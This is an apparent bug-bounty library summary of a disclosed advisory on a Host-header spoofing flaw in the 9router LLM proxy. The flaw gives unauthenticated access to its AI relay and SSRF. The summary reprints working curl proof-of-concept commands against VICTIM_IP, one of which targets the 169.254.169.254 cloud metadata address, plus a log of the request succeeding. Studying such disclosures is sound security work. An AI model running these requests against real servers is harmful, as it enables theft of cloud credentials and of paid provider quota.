# 9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

9router trusts the client-controlled Host header to decide a request is local, so remote attackers spoof Host: localhost to get keyless /v1 AI relay and SSRF.

- Payout: Research
- Severity: high
- Program: 9router
- Found by: EchoSkorJjj
- Disclosed: 2026-08-28
- CVE: CVE-2026-55641
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-86m2-fcxq-5q7c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-86m2-fcxq-5q7c
- Tags: area:ai domain:ai domain:web impact:funds-loss impact:internal-access kind:research platform:ghsa sev:high tech:nextjs tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:ssrf

**Target:** Next.js LLM proxy server (/v1 chat and /v1/search endpoints)
**Root cause:** isLocalRequest() derives 'local' from the spoofable Host header instead of the TCP peer address, and DEFAULT_SETTINGS omits requireApiKey so handler-side key checks are skipped; resolveBaseUrl also honors attacker-supplied provider_options.baseUrl.
**Steps:**
1. Send `POST /v1/search` with honest `Host: <victim-ip>:20128` -> HTTP 401 API key required (control).
2. Resend identical request with only `Host: localhost` -> guard passes, handler reached.
3. Body: `{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}` -> server-side fetch to attacker URL, JSON reflected.
4. For relay: `POST /v1/messages` with `Host: localhost` and a chat body -> forwarded using victim's stored provider credentials.
**How found:** Code review of dashboardGuard.js: noticed isLocalRequest only inspects request.headers.get('host') and never the socket peer address, then checked defaults (0.0.0.0 bind, missing requireApiKey) and traced the rewrite chain to handlers with no independent auth.
**Exploitation:** Remote unauthenticated attacker reaches a default 0.0.0.0-bound 9router, sets Host: localhost (no Origin) to pass canAccessPublicLlmApi, then either drives /v1/messages to spend the victim's stored paid AI provider keys, or drives /v1/search with provider_options.baseUrl to make the server fetch internal/cloud-metadata hosts and reflect the response.
**Escalation:** SSRF to 169.254.169.254 cloud metadata for credential theft; relay abuse for quota theft and data exfiltration through victim's provider accounts.
**Insight:** When a guard classifies requests as 'local'/'internal', grep for header-derived checks (Host, X-Forwarded-For, Origin) and confirm whether the socket peer address is ever consulted; also check whether the default settings object omits the auth flag entirely, making handler checks dead code.

## Proof of concept (copied exactly from the original report)

**curl SSRF via spoofed Host to metadata**

```
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'
```

**curl relay request with spoofed Host**

```
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'
```

**Live 401 vs 200 Host-spoof comparison**

```
(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.
```

